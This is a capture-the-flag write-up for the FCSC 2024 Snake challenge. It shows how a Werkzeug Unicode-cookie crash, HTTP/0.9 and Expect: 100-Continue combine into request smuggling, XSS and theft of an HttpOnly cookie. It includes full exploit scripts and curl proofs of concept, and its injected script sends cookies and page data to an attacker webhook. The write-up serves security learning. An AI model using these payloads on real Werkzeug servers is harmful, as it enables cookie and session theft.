Presentation

This challenge was proposed at FCSC 2024. It is divided into two parts of medium and hard difficulty. It is still possible to tackle it on hackropole.fr.

Thanks to Mizu for designing this challenge <3

Snake

It is a web application implementing the famous Snake game with a leaderboard. The challenge also provides the application’s source code:

# /src/app.py

from flask import Flask, session, request, Response, render_template, jsonify
from os import urandom, environ
from hashlib import sha512
import bot

# Init
app = Flask(__name__)
app.secret_key = urandom(24)

# Utils
def init(session):
    if "scores" not in session:
        session["scores"] = []

# Routes
@app.route("/")
def index():
    init(session)
    return render_template("index.html")

@app.route("/api", methods=["GET", "POST"])
def note():
    init(session)
    action = request.args.get("action")
    if not action:
        return jsonify({"error": "?action= must be set!"})

    if action == "color":
        res = Response(request.args.get("callback"))
        res.headers["Content-Type"] = "text/plain"
        res.headers["Set-Cookie"] = f"color={request.args.get('color', 'red')}"
        return res

    if action == "add":
        if not request.method == "POST":
            return jsonify({"error": "invalid HTTP method"})

        d = request.form if request.form else request.get_json()
        if not ("name" in d and "score" in d):
            return jsonify({"error": "name and score must be set"})

        session["scores"] += [{"name": d["name"], "score": d["score"]}]
        return jsonify({"length": len(session["scores"])})

    if action == "view":
        raw = request.args.get("raw", False)

        if raw:
            res = Response("".join([ f"{v['name']} -> {v['score']}\n" for v in session["scores"] ]))
            res.headers["Content-Type"] = "text/plain"
        else:
            res = jsonify(session["scores"])

        return res

    if action == "clear":
        session.clear()
        return jsonify({"clear": True})

    return jsonify({"error": "invalid action value (color || add || view || clear)"})

# This part of the code is only used for the bot to visit the exploitation link.
# Don't lose your time auditing it.
def verify_pow(session, pow, difficulty=6):
    pow = sha512(pow.encode()).hexdigest()[:difficulty]
    ret = "chall" in session and session["chall"] == pow
    session["chall"] = sha512(urandom(24).hex().encode()).hexdigest()[:difficulty]
    return ret

@app.route("/visit")
def visit():
    if not environ.get("LOCAL") and not verify_pow(session, request.args.get("pow", "random")):
        return jsonify({"chall": session["chall"]})

    url = request.args.get("url")
    if url and (url.startswith("https://") or url.startswith("http://")):
        bot.visit(url)
        return jsonify({"Visit": "OK"})
    else:
        return jsonify({"Error": "?url= must be set and starts with https:// or http://"})

if __name__ == "__main__":
    app.run("0.0.0.0", 8000)

The /api endpoint has 4 actions that respectively allow:

  • /api?action=color Modify the color cookie to control the background color.
  • /api?action=add Add a score to the leaderboard.
  • /api?action=view View the content of the leaderboard.
  • /api?action=clear Reset the leaderboard.

The /visit endpoint calls the Bot that will visit the URL provided to it.

# /usr/bot.py

from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from time import sleep
from os import environ

def visit(url):
    chrome_options = Options()
    chrome_options.add_argument("--headless")
    chrome_options.add_argument("--incognito")
    chrome_options.add_argument("--no-sandbox")
    chrome_options.add_argument("--disable-gpu")
    chrome_options.add_argument("--disable-jit")
    chrome_options.add_argument("--disable-wasm")
    chrome_options.add_argument("--disable-dev-shm-usage")
    chrome_options.add_argument("--ignore-certificate-errors")
    chrome_options.binary_location = "/usr/bin/chromium-browser"

    service = Service("/usr/bin/chromedriver")
    driver = webdriver.Chrome(service=service, options=chrome_options)
    driver.set_page_load_timeout(3)

    driver.get("http://127.0.0.1:8000")
    driver.add_cookie({
        "name": "flag_medium",
        "value": environ.get("FLAG_MEDIUM"),
        "path": "/",
        "httpOnly": False,
        "samesite": "Strict",
        "domain": "127.0.0.1"
    })
    driver.add_cookie({
        "name": "flag_hard",
        "value": environ.get("FLAG_HARD"),
        "path": "/",
        "httpOnly": True,
        "samesite": "Strict",
        "domain": "127.0.0.1"
    })

    try:
        driver.get(url)
    except: pass

    sleep(3)
    driver.close()

The 2 flags are in the bot’s cookies. The difference is that the Hard flag is protected by the HttpOnly flag.

We can already assume that retrieving the first Medium flag will involve finding an XSS vulnerability to steal the bot’s unprotected cookie. However, due to the HttpOnly protection, the Hard flag is not retrievable with a simple XSS; we will need to find something else. Perhaps a Request Smuggling vulnerability?

Searching for the XSS

Several endpoints are interesting, such as /api?action=color, as they take a callback parameter that allows total control over the server’s response content:

XSS

However, the server’s responses contain the headers Content-type: text/plain or Content-type: application/json. This still prevents the execution of our payload.

We will need to find another way to execute our XSS injection.

A Bug or a vulnerability?

The application’s code is short and does not seem to have other vulnerabilities, but after (long) searches, I came across this GitHub issue reported by Kevin-Mizu, the challenge designer, which closely resembles the challenge’s code.

https://github.com/pallets/werkzeug/issues/2833

GitHub Issue

This issue was closed but not fixed. It is therefore possible to reproduce this bug to get something that could help us execute our XSS injection.

Indeed, according to Mizu, when the application tries to set a Header (like a cookie) with a Unicode value, the server will crash in the middle of generating the response without closing the connection with the client. The beginning of the response, still in the server’s buffer, will be added to the beginning of the next response.

Let’s try to reproduce this bug on our CTF. The relevant endpoint is /api?action=color, which allows adding an arbitrary value to the color cookie.

    if action == "color":
        res = Response(request.args.get("callback"))
        res.headers["Content-Type"] = "text/plain"
        res.headers["Set-Cookie"] = f"color={request.args.get('color', 'red')}"
        return res

We send the following request (%E2%99%A5 is the URL encoding of the Unicode character ♥):

 curl 'http://127.0.0.1:8000/api?action=color&color=%E2%99%A5&callback=OK' --data "GET /Nalisco HTTP/1.1 

"
Werkzeug Error

Great! The server crashed and interpreted the body of the POST request as a new request to /Nalisco.

By observing with netcat, we can confirm that the headers of the first request are indeed added to the response:

Netcat Poc

This behavior is known as Request Smuggling and allows an attacker to desynchronize the server’s request with the client.

Request Smuggling + HTTP/0.9 = Arbitrary HTTP Response

This bug is very interesting, but the initial problem for executing our XSS injection was the presence of the Content-Type: text/plain header, which is still present. How can we modify our payload so that the response no longer contains this Content-Type Header?

In the bug presented above, the second request is contained in the body of the first POST request, so we can totally control the parameters of this request, such as the headers and the HTTP version used.

HTTP/0.9 is an old version of HTTP, no longer recommended because it does not contain headers. The server’s response to an HTTP/0.9 request is only the body and does not contain headers.

Netcat Poc 2

However, when using request smuggling, the server responds to the first request with the second request’s response. If the second request is an HTTP/0.9 request, we can totally control the server’s response and write the response headers ourselves.

The first request expects an HTTP/1.1 response, so we can completely define the server’s HTTP response in the callback parameter of the second HTTP/0.9 request.

A demonstration is worth a thousand words:

curl -i 'http://127.0.0.1:8000/api?action=color&color=%E2%99%A5&callback=OK' --data "GET /api?action=color&color=red&callback=HTTP/1.1%20200%20OK%0Aontent-Type%3A%20text/html%0AContent-Length%3A%2029%0A%0A%3Cscript%3Ealert%28%27XSS%27%29%3C/script%3E HTTP/0.9

"
Curl Poc 1

Well-Done! Let’s automate everything in a Python application to retrieve the Medium flag.

Retrieving the Medium Flag

from flask import Flask
import urllib.parse

app = Flask(__name__)

WEBHOOK = "<NGROK_URL>"

SCRIPT = f"<script>fetch('{WEBHOOK}/hook?cookie='+document.cookie)</script>"
    
PAYLOAD = f"""HTTP/1.1 200 OK
ontent-Type: text/html
Content-Length: {len(SCRIPT)}

{SCRIPT}""" 

@app.route("/")
def exploit():
    payload_url_encoded = urllib.parse.quote(PAYLOAD)
    first_request = f"http://127.0.0.1:8000/api?action=color&color=green%E2%99%A5&callback=OK"
    second_request = f"GET /api?action=color&color=green&callback={payload_url_encoded} HTTP/0.9\r\n\r\n"
    return f"""
    <form id="x" action="{first_request}"
    method="POST"
    enctype="text/plain">
    <textarea name="{second_request}"></textarea>
    <button type="submit"></button>
    </form>
    <script> x.submit() </script>
    """ 

@app.route("/hook")
def hook():
    return ""

if __name__ == "__main__":
    app.run("0.0.0.0", 5000)

I use Ngrok to expose my port 5000 on the internet and allow the bot to access my application.

python3 submit_url.py --challenge "https://twisty-python.france-cybersecurity-challenge.fr" --url '<NGROK_URL>'

We retrieve the first flag:

Medium Flag

How to Keep the Connection Alive?

The second flag is protected by the HttpOnly attribute, so it is not possible to retrieve it with a JavaScript code injection. We will need to improve the exploitation of the Request Smuggling vulnerability to retrieve the content of the protected cookie.

The goal is to end up in this situation by exploiting the /api?action=add endpoint:

smuggling_schema

Thus, thanks to the Request Smuggling vulnerability, the cookie will be added to the leaderboard, and it will be possible to retrieve it.

However, for the last request to be appended to the first one, it must be sent through the same TCP connection. Usually, we can indicate to a web server to reuse a TCP socket for subsequent requests with the Connection: Keep-Alive header.

However, Werkzeug no longer supports Keep-Alive connections since version 2.1.0 and systematically responds with the Connection: close header.

For a long time, I was stuck on this challenge, unable to find a solution to keep the connection open and reuse the same TCP connection. Until, during my reading of the Werkzeug source code in search of any piece of code that could provide elements of a solution, I came across this line:

https://github.com/pallets/werkzeug/blob/d6c2fe14682c95ba08921d3474f4f6527d471fe2/src/werkzeug/serving.py#L242

    def run_wsgi(self) -> None:
        if self.headers.get("Expect", "").lower().strip() == "100-continue":
            self.wfile.write(b"HTTP/1.1 100 Continue\r\n\r\n")

Eureka!! This is exactly what we are looking for. If the request contains the Expect: 100-Continue header, the server directly returns the HTTP/1.1 100 Continue response without adding the Connection: close header that closes the socket.

HTTP response status code 100 Continue is one of the informational HTTP responses returned by the server. It indicates that the HTTP session is progressing as expected and is asking the client to continue to the next step. The client can safely ignore this HTTP response if the HTTP request is complete. The HTTP response is only sent when the client includes the HTTP header request field Expect.

We can verify this once again with Netcat. The server responds with HTTP/1.1 100 Continue to the first request but does not close the connection and allows sending a second request on the same TCP socket.

netcat Poc 3

Here is the schema of the scenario to retrieve the flag:

smuggling_schema2

Retrieving the Hard Flag

Several points are necessary for the exploit to work:

  • The request /api?action=color&color=%E2%99%A5&callback=... receives the response HTTP/1.1 100 Continue with the initial headers, including Content-Length. The value of the callback must therefore be exactly the length of HTTP/1.1 100 Continue (25 characters).
  • The POST / request contains by default a Referer: /api?action=color&color=%E2%99%A5&callback= header, and the characters & and = prevent the cookie from being added to the score parameter. We can override this header with the parameter referrer: "/".
from flask import Flask, request
import urllib.parse
import base64

app = Flask(__name__)

WEBHOOK = "<NGROK_URL>"

SMUGGLE_PAYLOAD = f"""POST /api?action=add HTTP/1.1
Content-length: 1000
Content-type: application/x-www-form-urlencoded
Expect: 100-Continue

name=Nalisco&score="""

SCRIPT = f"""<script>
fetch("/api?action=clear").then(response => {{
    fetch("/api?action=color&color=%E2%99%A5&callback="+"{urllib.parse.quote("HTTP/1.1 100 Continue\r\n\r\n")}", {{
        method: "POST",
        credentials: "include",
        body: atob('{base64.b64encode(SMUGGLE_PAYLOAD.encode()).decode()}')
    }})
    .then(response => {{
        fetch("/", {{
            method: "POST",
            credentials: "include",
            referrer:"/",
            body: "A".repeat(1000)
        }})
        .then(response => {{
            fetch("/api?action=view&raw=a", {{
                credentials: "include",
            }}).then(response => response.text())
            .then((text) => {{
                  fetch("{WEBHOOK}/hook", {{
                     method: "POST",
                     body: text,
                     mode: "no-cors"
                }})
            }})
        }})
     }})
}})
</script>"""
    
XSS_PAYLOAD = f"""HTTP/1.1 200 OK
ontent-Type: text/html
Content-Length: {len(SCRIPT)}

{SCRIPT}""" 

@app.route("/")
def exploit():
    payload_url_encoded = urllib.parse.quote(XSS_PAYLOAD)
    first_request = f"http://127.0.0.1:8000/api?action=color&color=green%E2%99%A5&callback=OK"
    second_request = f"GET /api?action=color&color=green&callback={payload_url_encoded} HTTP/0.9\r\n\r\n"
    return f"""
    <form id="x" action="{first_request}"
    method="POST"
    enctype="text/plain">
    <textarea name="{second_request}"></textarea>
    <button type="submit"></button>
    </form>
    <script> x.submit() </script>
    """ 


@app.route("/hook", methods=["GET", "POST"])
def hook():
    if request.data:
        print(request.data.decode())
    return ""

if __name__ == "__main__":
    app.run("0.0.0.0", 5000)

We call the Bot to retrieve the Hard flag:

python3 submit_url.py --challenge "https://twisty-python.france-cybersecurity-challenge.fr" --url '<NGROK_URL>'
Hard Flag

FCSC{a27d820450644445dda6757b8d01793456e6308a1c04bebaf5b434625129159e}

Conclusion

This challenge was fascinating, not only for researching N-day vulnerabilities in Werkzeug but also for experimenting with a Request Smuggling vulnerability to demonstrate the theft of a cookie protected by HttpOnly. I learned a lot about how HTTP works, particularly the differences between the HTTP/1.1 and HTTP/0.9 protocols and the Expect: 100-continue header. These are rarely used, but under certain conditions, they can be used to PoC impressive vulnerabilities.